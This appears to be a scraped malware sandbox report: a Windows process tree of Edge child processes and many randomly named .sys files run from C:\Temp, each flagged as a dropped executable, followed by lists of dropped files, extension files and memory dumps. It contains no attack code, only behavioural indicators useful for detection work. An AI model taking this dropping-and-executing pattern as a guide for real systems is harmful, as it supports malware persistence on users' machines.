C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5144,i,1817388427660036920,2241043252594971285,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5128,i,11112312080889854715,7724246956492440120,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=1324 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1156,i,15978563884554870728,10124646891373345160,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6544,i,5314285026657362870,15434900877184196521,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=6288 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1532,i,13063618431019184531,11539234929232125168,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5652,i,5022321313555245954,17022969007884146328,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=3720,i,6997689903242593400,16966590643376566903,262144 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5844,i,7503056682656933609,1141479789107879418,524288 --field-trial-handle=2604,i,12139911765455132347,839946598026647667,262144 --variations-seed-version --mojo-platform-channel-handle=5748 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\czusecwuomjeczur.sysC:\Temp\czusecwuomjeczur.sys1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Temp\cwuomgebwu.sysC:\Temp\cwuomgebwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\jgbztroigb.sysC:\Temp\jgbztroigb.sys1⤵
- Executes dropped EXE
-
C:\Temp\jdayvqoigd.sysC:\Temp\jdayvqoigd.sys1⤵
- Executes dropped EXE
-
C:\Temp\vsqkigaysq.sysC:\Temp\vsqkigaysq.sys1⤵
- Executes dropped EXE
-
C:\Temp\aysqnifdxv.sysC:\Temp\aysqnifdxv.sys1⤵
- Executes dropped EXE
-
C:\Temp\faxsqkicau.sysC:\Temp\faxsqkicau.sys1⤵
- Executes dropped EXE
-
C:\Temp\kfzxrpnhec.sysC:\Temp\kfzxrpnhec.sys1⤵
- Executes dropped EXE
-
C:\Temp\usmkeczusp.sysC:\Temp\usmkeczusp.sys1⤵
- Executes dropped EXE
-
C:\Temp\omhezwrpjh.sysC:\Temp\omhezwrpjh.sys1⤵
- Executes dropped EXE
-
C:\Temp\jgeywuomjh.sysC:\Temp\jgeywuomjh.sys1⤵
- Executes dropped EXE
-
C:\Temp\oigbytqoig.sysC:\Temp\oigbytqoig.sys1⤵
-
C:\Temp\tnlgdynlfd.sysC:\Temp\tnlgdynlfd.sys1⤵
-
C:\Temp\igaysqlidb.sysC:\Temp\igaysqlidb.sys1⤵
-
C:\Temp\faxsqkhfca.sysC:\Temp\faxsqkhfca.sys1⤵
-
C:\Temp\kicausmkfc.sysC:\Temp\kicausmkfc.sys1⤵
-
C:\Temp\hczxrpmkec.sysC:\Temp\hczxrpmkec.sys1⤵
-
C:\Temp\mhezwuomhe.sysC:\Temp\mhezwuomhe.sys1⤵
-
C:\Temp\ojhbztrmje.sysC:\Temp\ojhbztrmje.sys1⤵
-
C:\Temp\jgeywtrojg.sysC:\Temp\jgeywtrojg.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
aysqnifdxv.sys
cwuomgebwu.sys
czusecwuomjeczur.exe
czusecwuomjeczur.sys
dxnifayspk.exe
geywqoigby.exe
hbztrmjhbz.exe
i_geywqoigby.exe
i_hbztrmjhbz.exe
i_lfdyvqoiga.exe
i_omgeywqomj.exe
i_vpnifaysql.exe
jdayvqoigd.sys
jgbztroigb.sys
lfdyvqoiga.exe
omgeywqomj.exe
vpnifaysql.exe
vsqkigaysq.sys
13d12c2a-8ae9-4615-bf54-8069124440a5.tmp
1692e6bc-7f93-4f0f-84db-0e861543f6ca.tmp
58886341-a924-4b43-8b04-11c0d5e09d70.tmp
settings.dat
settings.dat
6ab541fe-8ff3-4796-ad91-8c7bdf17f1c8.tmp
7d77fb37-bb7c-44e5-a399-b045139e28d2.tmp
88af8fc6-62af-4fdd-bf6e-7e3bf833c829.tmp
9b32b1a4-1b5d-461a-97e6-7a5c81fda536.tmp
temp-index
46d0c750-029a-4ce6-867d-26c8d5bbdd24.tmp
dasherSettingSchema.json
377f347d-325a-4df2-a987-f93778c613cf.tmp
4c8c80ce-b273-4bcc-a851-a362af5cb9df.tmp
dbbf4cf1-ce79-4410-abf1-54c61e21b3b9.tmp
sync_diagnostic.log
a720e83e-acc7-4e2a-ab1f-3a3050d6a74c.tmp
e59327a3-635b-4900-ae54-ed5b095edecd.tmp
OperationConfig
ba9567a3-41f2-4f34-b709-367e86195fae.tmp
a5ad9e58-ca3a-438e-9831-f00e92f5b4db.tmp
b068fffe-5bd1-41ad-9442-1cc740370116.tmp
1e356b85-ed33-4dab-be99-731a473b00cb.tmp
39bb73f4-5dde-464e-9e4b-880bfed97980.tmp
9113c359-a718-4c83-9be4-568107cd7d15.tmp
3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
bc6b2ea2-8de3-4083-bd5c-8b1322e9452f.tmp
metadata.json
f36514bc-bb18-4542-89b7-5ae0c04d9fa4.tmp
4c0c2ad6-d50c-40d8-9111-f9d2703e79a6.tmp
95930538-d4ee-45d2-802d-cff5e6536463.tmp
messages.json
content.js
manifest.json
manifest.json
manifest.json
manifest.json
CreateProcess.exe
memory/368-687-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/760-553-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1128-651-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1172-430-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1276-505-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1820-734-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2604-610-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2604-577-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2996-62-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3196-692-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4276-655-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4456-595-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4456-573-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4520-675-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4668-480-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4932-530-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5520-716-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5548-608-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5712-517-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5968-712-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6128-557-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6132-629-0x0000000000010000-0x00000000000AB000-memory.dmp